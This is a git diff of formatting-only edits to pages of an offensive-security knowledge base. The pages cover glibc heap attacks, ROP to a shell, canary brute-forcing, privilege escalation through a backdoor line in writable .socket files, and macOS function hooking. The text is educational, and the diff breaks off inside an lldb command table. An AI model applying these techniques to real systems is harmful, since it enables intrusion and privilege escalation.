diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index cca5172d0..3f77a3d08 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -34,15 +34,15 @@ gef➤ p &__free_hook
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
@@ -50,13 +50,13 @@ In the mentioned break in the previous code in `$eax` will be located the addres
Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
--
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index b95214982..d362e89b3 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -51,7 +51,7 @@ Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
-- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.
+- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 022f8b74d..fb7b1d7d3 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -89,7 +89,7 @@ Something to take into account is that usually **just one exploitation of a vuln
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) but no [PIE](../common-binary-protections-and-bypasses/pie/index.html), knowing the libc and **without the binary using the `system`** :
- - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it
+ - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index 82351db77..87ceb86e6 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -47,7 +47,7 @@ Pointer mangling aims to **prevent partial and full pointer overwrites in heap**
### Algorithm Overview
-The formula used for mangling and demangling pointers is:
+The formula used for mangling and demangling pointers is:
**`New_Ptr = (L >> 12) XOR P`**
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 439027283..31835e135 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -8,7 +8,7 @@
### **How Memory Tagging Extension Works**
-MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.
+MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index d751fd506..4f7aab53c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -107,7 +107,7 @@ log.info(f"The canary is: {canary}")
## Threads
-Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.
+Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 266aef7eb..1ce942487 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -12,7 +12,7 @@ With this info the attacker can **craft and send a new attack** knowing the cana
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
-**CTF examples:**
+**CTF examples:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index 149bcf159..2a67c7584 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -107,7 +107,7 @@ In this example, if a user inputs a negative number, it will be interpreted as a
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
+ - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 3a55006ad..b7161610a 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -39,7 +39,7 @@ malloc-and-sysmalloc.md
- **Checks during small bin search:**
- If `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted`
-- **Checks during consolidate** performed for each fast bin chunk:
+- **Checks during consolidate** performed for each fast bin chunk:
- If the chunk is unaligned trigger:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in:
@@ -47,7 +47,7 @@ malloc-and-sysmalloc.md
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**:
- - If the chunk size is weird (too small or too big):
+ - If the chunk size is weird (too small or too big):
- Error message: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big):
- Error message: `malloc(): invalid next size (unsorted)`
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 95eee214d..bce12b591 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,7 +7,7 @@
(No checks are explained in this summary and some case have been omitted for brevity)
1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc`
-2. `_int_malloc` :
+2. `_int_malloc` :
1. Tries to generate the arena if there isn't any
2. If any fast bin chunk of the correct size, use it
1. Fill tcache with other fast chunks
@@ -299,7 +299,7 @@ The first check is to find out if the requested size could be inside a small bin
Then, a security check is performed checking:
-- if `victim->bk->fd = victim`. To see that both chunks are correctly linked.
+- if `victim->bk->fd = victim`. To see that both chunks are correctly linked.
In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed.
@@ -526,7 +526,7 @@ It's time to check the unsorted bin for a potential valid chunk to use.
#### Start
-This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
Moreover, some security checks are perform every time a new chunk is considered:
@@ -1249,7 +1249,7 @@ Then it also checks that:
### sysmalloc not main arena
It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\
-Finally if that didn't work, try calling **`sysmalloc_mmap`**.
+Finally if that didn't work, try calling **`sysmalloc_mmap`**.
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index e68fa4e70..a01b07334 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -34,7 +34,7 @@
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)
+ - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
## References and other examples
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index f5ef3e422..26f13878e 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -10,7 +10,7 @@
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
-- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### Goal
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index 217c1c4c8..a747e2741 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -51,8 +51,8 @@ Current heap layout:
*/
```
-- `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
-- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
+- `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
+- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 6d8584173..07a647aa0 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -50,13 +50,13 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- -
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 6cf77159b..62a1ad149 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -88,7 +88,7 @@ Similarly, if we know a function returns the address where the shellcode is stor
### Example
-You can find some examples here:
+You can find some examples here:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 4f77191a1..e4c1650c6 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -71,7 +71,7 @@ To find the address of the `win` function, you can use **gdb**, **objdump**, or
objdump -d vulnerable | grep win
```
-This command will show you the assembly of the `win` function, including its starting address.
+This command will show you the assembly of the `win` function, including its starting address.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index d0c8c3b31..8fac862fa 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ Find an introduction to arm64 in:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 8c609ee0e..68cf6dc54 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ Find an introduction to arm64 in:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
@@ -31,7 +31,7 @@ Compile without pie, canary and nx:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## No ASLR & No canary - Stack Overflow
+## No ASLR & No canary - Stack Overflow
To stop ASLR execute:
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index 62d747abe..1fd51d132 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -574,7 +574,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\
-_Exposition URI are like:_ **UID.ngrok.io**
+_Exposition URI are like:_ **UID.ngrok.io**
### Installation
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 7a03395de..b8985c9a4 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -196,7 +196,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
-_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
## Subdomains
@@ -539,7 +539,7 @@ Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdoma
If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
-_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
## IPs
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 121901b48..3c7366620 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -538,7 +538,7 @@ Sockets can be configured using `.socket` files.
### Writable .socket files
If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
-_Note that the system must be using that socket file configuration or the backdoor won't be executed_
+_Note that the system must be using that socket file configuration or the backdoor won't be executed_
### Writable sockets
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index f9937ed09..509716f87 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -62,7 +62,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/cgroup
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index 4e3c65668..d8760aa1b 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -54,7 +54,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/ipc
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index e0d810110..f48b6c91e 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -57,7 +57,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/mnt
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 20a9f060f..5ce86a305 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -57,7 +57,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/net
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 0b13d908a..b0757ba80 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -59,7 +59,7 @@ By mounting a new instance of the `/proc` filesystem if you use the param `--mou
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Check which namespace are your process in
+### Check which namespace are your process in
```bash
ls -l /proc/self/ns/pid
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index 0875b9f25..fd28c52c6 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -48,7 +48,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/time
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index 9faedb98f..610faec65 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -59,7 +59,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/user
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index b813bfbef..95f0c48e8 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -54,7 +54,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Check which namespace is your process in
+### Check which namespace is your process in
```bash
ls -l /proc/self/ns/uts
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 6d089dd0d..e81767171 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -6,7 +6,7 @@
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
-Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
+Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interpose printf
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index e0a163bda..8f73bbaea 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -85,7 +85,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### Download
+### Download
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index b0aae39d5..87fca66a4 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -476,7 +476,7 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> Inside lldb, dump a process with `process save-core`
-
(lldb) Command
Description
run (r)
Starting execution, which will continue unabated until a breakpoint is hit or the process terminates.
process launch --stop-at-entry
Strt execution stopping at the entry point
continue (c)
Continue execution of the debugged process.
nexti (n / ni)
Execute the next instruction. This command will skip over function calls.
stepi (s / si)
Execute the next instruction. Unlike the nexti command, this command will step into function calls.
finish (f)
Execute the rest of the instructions in the current function (“frame”) return and halt.
control + c
Pause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing.
breakpoint (b)
b main #Any func called main
b <binname>`main #Main func of the bin
b set -n main --shlib <lib_name> #Main func of the indicated bin
breakpoint set -r '\[NSFileManager .*\]$' #Any NSFileManager method
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Break in all functions of that library
b -a 0x0000000100004bd9
br l #Breakpoint list
br e/dis <num> #Enable/Disable breakpoint
breakpoint delete <num>
help
help breakpoint #Get help of breakpoint command
help memory write #Get help to write into the memory
This will print the object referenced by the param
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
